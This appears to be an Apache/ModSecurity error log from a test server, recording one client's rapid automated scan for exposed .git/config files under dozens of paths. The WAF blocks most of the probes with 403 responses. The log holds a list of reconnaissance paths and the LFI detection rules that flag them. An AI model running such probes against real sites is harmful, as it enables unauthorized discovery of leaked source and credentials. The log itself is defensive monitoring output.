[Wed May 22 20:56:14.874805 2024] [:error] [pid 3395392] [client 91.215.85.43:57232] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old-cuburn/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aDgAAAAY"]
[Wed May 22 20:56:14.874891 2024] [:error] [pid 3395357] [client 91.215.85.43:57214] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/amphtml/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvMgAAAAA"]
[Wed May 22 20:56:14.875282 2024] [:error] [pid 3395357] [client 91.215.85.43:57214] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/amphtml/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvMgAAAAA"]
[Wed May 22 20:56:14.877228 2024] [:error] [pid 3395359] [client 91.215.85.43:57224] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /build/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/build/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpZQAAAAI"]
[Wed May 22 20:56:14.877692 2024] [:error] [pid 3395359] [client 91.215.85.43:57224] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/build/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpZQAAAAI"]
[Wed May 22 20:56:14.878056 2024] [:error] [pid 3395359] [client 91.215.85.43:57224] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/build/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpZQAAAAI"]
[Wed May 22 20:56:14.878171 2024] [:error] [pid 3395395] [client 91.215.85.43:57210] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /blog/wp-content/themes/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/blog/wp-content/themes/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu51gAAAAk"]
[Wed May 22 20:56:14.878674 2024] [:error] [pid 3395395] [client 91.215.85.43:57210] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/blog/wp-content/themes/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu51gAAAAk"]
[Wed May 22 20:56:14.879000 2024] [:error] [pid 3395395] [client 91.215.85.43:57210] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/blog/wp-content/themes/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu51gAAAAk"]
[Wed May 22 20:56:14.879920 2024] [:error] [pid 3395358] [client 91.215.85.43:57208] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /data/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/data/.git/config"] [unique_id "Zk4_zsLR5UJ49OezHSs-QAAAAAE"]
[Wed May 22 20:56:14.883353 2024] [:error] [pid 3395396] [client 91.215.85.43:57246] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /gateway/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/gateway/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1gQAAAAo"]
[Wed May 22 20:56:14.883524 2024] [:error] [pid 3395396] [client 91.215.85.43:57246] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/gateway/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1gQAAAAo"]
[Wed May 22 20:56:14.883677 2024] [:error] [pid 3395396] [client 91.215.85.43:57246] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/gateway/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1gQAAAAo"]
[Wed May 22 20:56:14.881408 2024] [:error] [pid 3395360] [client 91.215.85.43:57262] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /v3/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v3/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmQQAAAAM"]
[Wed May 22 20:56:14.883788 2024] [:error] [pid 3395393] [client 91.215.85.43:57272] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /user/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/user/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwYgAAAAc"]
[Wed May 22 20:56:14.883916 2024] [:error] [pid 3395360] [client 91.215.85.43:57262] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v3/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmQQAAAAM"]
[Wed May 22 20:56:14.884037 2024] [:error] [pid 3395393] [client 91.215.85.43:57272] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/user/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwYgAAAAc"]
[Wed May 22 20:56:14.884055 2024] [:error] [pid 3395360] [client 91.215.85.43:57262] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v3/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmQQAAAAM"]
[Wed May 22 20:56:14.884227 2024] [:error] [pid 3395393] [client 91.215.85.43:57272] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/user/.git/config"] [unique_id "Zk4_zpnsJP7yDq0rGFtwYgAAAAc"]
[Wed May 22 20:56:14.881740 2024] [authz_core:error] [pid 3395384] [client 91.215.85.43:57266] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.git
[Wed May 22 20:56:14.885251 2024] [:error] [pid 3395358] [client 91.215.85.43:57208] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/data/.git/config"] [unique_id "Zk4_zsLR5UJ49OezHSs-QAAAAAE"]
[Wed May 22 20:56:14.885399 2024] [:error] [pid 3395358] [client 91.215.85.43:57208] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/data/.git/config"] [unique_id "Zk4_zsLR5UJ49OezHSs-QAAAAAE"]
[Wed May 22 20:56:14.955874 2024] [:error] [pid 3395394] [client 91.215.85.43:57316] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v2/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v2/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32mQAAAAg"]
[Wed May 22 20:56:14.956431 2024] [:error] [pid 3395394] [client 91.215.85.43:57316] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v2/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32mQAAAAg"]
[Wed May 22 20:56:14.956867 2024] [:error] [pid 3395394] [client 91.215.85.43:57316] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v2/.git/config"] [unique_id "Zk4_zhy_kxE0Cryukh32mQAAAAg"]
[Wed May 22 20:56:14.972353 2024] [:error] [pid 3395392] [client 91.215.85.43:57344] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /site/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aDwAAAAY"]
[Wed May 22 20:56:14.973170 2024] [:error] [pid 3395392] [client 91.215.85.43:57344] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aDwAAAAY"]
[Wed May 22 20:56:14.973638 2024] [:error] [pid 3395392] [client 91.215.85.43:57344] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.git/config"] [unique_id "Zk4_zoxthpOCBUxc2u8aDwAAAAY"]
[Wed May 22 20:56:14.975267 2024] [:error] [pid 3395357] [client 91.215.85.43:57356] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /database/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvMwAAAAA"]
[Wed May 22 20:56:14.975801 2024] [:error] [pid 3395357] [client 91.215.85.43:57356] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvMwAAAAA"]
[Wed May 22 20:56:14.976203 2024] [:error] [pid 3395357] [client 91.215.85.43:57356] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.git/config"] [unique_id "Zk4_ziC0SfZuqf1hbVzvMwAAAAA"]
[Wed May 22 20:56:14.982732 2024] [:error] [pid 3395395] [client 91.215.85.43:57280] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v4/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v4/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu51wAAAAk"]
[Wed May 22 20:56:14.983258 2024] [:error] [pid 3395395] [client 91.215.85.43:57280] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v4/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu51wAAAAk"]
[Wed May 22 20:56:14.983536 2024] [:error] [pid 3395395] [client 91.215.85.43:57280] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v4/.git/config"] [unique_id "Zk4_zgYtOgQFTVNZreu51wAAAAk"]
[Wed May 22 20:56:14.984062 2024] [:error] [pid 3395359] [client 91.215.85.43:57326] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /samples/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/samples/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpZgAAAAI"]
[Wed May 22 20:56:14.986398 2024] [:error] [pid 3395384] [client 91.215.85.43:57332] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /a/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/a/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_UQAAAAU"]
[Wed May 22 20:56:14.986786 2024] [:error] [pid 3395384] [client 91.215.85.43:57332] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/a/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_UQAAAAU"]
[Wed May 22 20:56:14.986996 2024] [:error] [pid 3395360] [client 91.215.85.43:57310] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /repository/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/repository/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmQgAAAAM"]
[Wed May 22 20:56:14.987078 2024] [:error] [pid 3395384] [client 91.215.85.43:57332] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/a/.git/config"] [unique_id "Zk4_zmo8EkGRap188Sa_UQAAAAU"]
[Wed May 22 20:56:14.987345 2024] [:error] [pid 3395360] [client 91.215.85.43:57310] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/repository/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmQgAAAAM"]
[Wed May 22 20:56:14.987598 2024] [:error] [pid 3395360] [client 91.215.85.43:57310] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/repository/.git/config"] [unique_id "Zk4_zlQmnWT4N4NxlYdmQgAAAAM"]
